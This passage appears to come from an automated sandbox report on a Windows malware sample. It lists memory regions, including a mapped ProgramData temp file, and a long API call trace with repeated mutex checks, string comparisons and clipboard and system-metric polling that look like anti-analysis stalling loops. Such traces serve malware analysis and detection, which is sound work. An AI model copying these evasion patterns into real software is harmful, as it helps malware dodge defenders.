"private_0x0000000000a50000" filename = "" Region: id = 2238 start_va = 0xa60000 end_va = 0xa68fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 2239 start_va = 0xa50000 end_va = 0xa58fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2240 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2241 start_va = 0xa50000 end_va = 0xa58fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2242 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 2243 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2244 start_va = 0xa50000 end_va = 0xa58fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2245 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 2246 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2247 start_va = 0xa50000 end_va = 0xa58fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2248 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 2249 start_va = 0x390000 end_va = 0x390fff entry_point = 0x390000 region_type = mapped_file name = "fb2f.tmp" filename = "\\ProgramData\\FB2F.tmp" (normalized: "c:\\programdata\\fb2f.tmp") Region: id = 2250 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2251 start_va = 0xa50000 end_va = 0xa58fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2252 start_va = 0x390000 end_va = 0x398fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Thread: id = 43 os_tid = 0x3f0 [0041.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0041.457] GetLastError () returned 0x2 [0041.457] GetLocalTime (in: lpSystemTime=0x36fb78 | out: lpSystemTime=0x36fb78*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x17, wMilliseconds=0x36f)) [0041.457] VarI4FromUI1 (in: bIn=0x1, plOut=0x36fb88 | out: plOut=0x36fb88) returned 0x0 [0041.457] GetTickCount () returned 0x19a6a [0041.457] wsprintfA (in: param_1=0x36fc20, param_2="%d" | out: param_1="18105066") returned 8 [0041.457] lstrlenA (lpString="18105066") returned 8 [0041.457] GetCurrentProcessId () returned 0x81c [0041.457] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.457] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.460] GetUserDefaultLangID () returned 0x409 [0041.460] GetCurrentProcessId () returned 0x81c [0041.460] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.460] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.460] GetUserDefaultLangID () returned 0x409 [0041.460] GetCurrentProcessId () returned 0x81c [0041.460] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.460] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.460] GetUserDefaultLangID () returned 0x409 [0041.460] GetCurrentProcessId () returned 0x81c [0041.460] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.460] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.460] GetUserDefaultLangID () returned 0x409 [0041.460] GetCurrentProcessId () returned 0x81c [0041.460] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.460] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.460] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0041.461] GetLastError () returned 0x2 [0041.461] GetLocalTime (in: lpSystemTime=0x36fb78 | out: lpSystemTime=0x36fb78*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x17, wMilliseconds=0x37f)) [0041.461] VarI4FromUI1 (in: bIn=0x1, plOut=0x36fb88 | out: plOut=0x36fb88) returned 0x0 [0041.461] GetTickCount () returned 0x19a7a [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="%d" | out: param_1="18105082") returned 8 [0041.461] lstrlenA (lpString="18105082") returned 8 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.461] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.461] GetUserDefaultLangID () returned 0x409 [0041.461] GetCurrentProcessId () returned 0x81c [0041.461] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0041.462] GetLastError () returned 0x2 [0041.462] GetLocalTime (in: lpSystemTime=0x36fb78 | out: lpSystemTime=0x36fb78*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x17, wMilliseconds=0x37f)) [0041.462] VarI4FromUI1 (in: bIn=0x1, plOut=0x36fb88 | out: plOut=0x36fb88) returned 0x0 [0041.462] GetTickCount () returned 0x19a7a [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="%d" | out: param_1="18105082") returned 8 [0041.462] lstrlenA (lpString="18105082") returned 8 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.462] GetCurrentProcessId () returned 0x81c [0041.462] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.462] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.462] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0041.463] GetLastError () returned 0x2 [0041.463] GetLocalTime (in: lpSystemTime=0x36fb78 | out: lpSystemTime=0x36fb78*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x17, wMilliseconds=0x37f)) [0041.463] VarI4FromUI1 (in: bIn=0x1, plOut=0x36fb88 | out: plOut=0x36fb88) returned 0x0 [0041.463] GetTickCount () returned 0x19a7a [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="%d" | out: param_1="18105082") returned 8 [0041.463] lstrlenA (lpString="18105082") returned 8 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.463] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.463] GetUserDefaultLangID () returned 0x409 [0041.463] GetCurrentProcessId () returned 0x81c [0041.463] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.464] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.464] GetUserDefaultLangID () returned 0x409 [0041.464] GetCurrentProcessId () returned 0x81c [0041.464] wsprintfA (in: param_1=0x36fc20, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl12076") returned 11 [0041.464] lstrcmpA (lpString1="7X6Qcl12076", lpString2="7JWg25") returned 1 [0041.464] GetUserDefaultLangID () returned 0x409 [0041.464] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0041.464] GetLastError () returned 0x2 [0041.464] GetLocalTime (in: lpSystemTime=0x36fb78 | out: lpSystemTime=0x36fb78*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x17, wMilliseconds=0x37f)) [0041.464] VarI4FromUI1 (in: bIn=0x1, plOut=0x36fb88 | out: plOut=0x36fb88) returned 0x0 [0041.464] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.472] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.472] GetFocus () returned 0x0 [0041.472] GetSystemMetrics (nIndex=25) returned 0 [0041.472] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.473] GetSystemMetrics (nIndex=25) returned 0 [0041.473] CountClipboardFormats () returned 0 [0041.473] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.473] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.474] GetFocus () returned 0x0 [0041.474] GetSystemMetrics (nIndex=25) returned 0 [0041.474] CountClipboardFormats () returned 0 [0041.474] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.475] GetSystemMetrics (nIndex=25) returned 0 [0041.475] CountClipboardFormats () returned 0 [0041.475] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.475] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.476] GetSystemMetrics (nIndex=25) returned 0 [0041.476] CountClipboardFormats () returned 0 [0041.476] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.476] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics 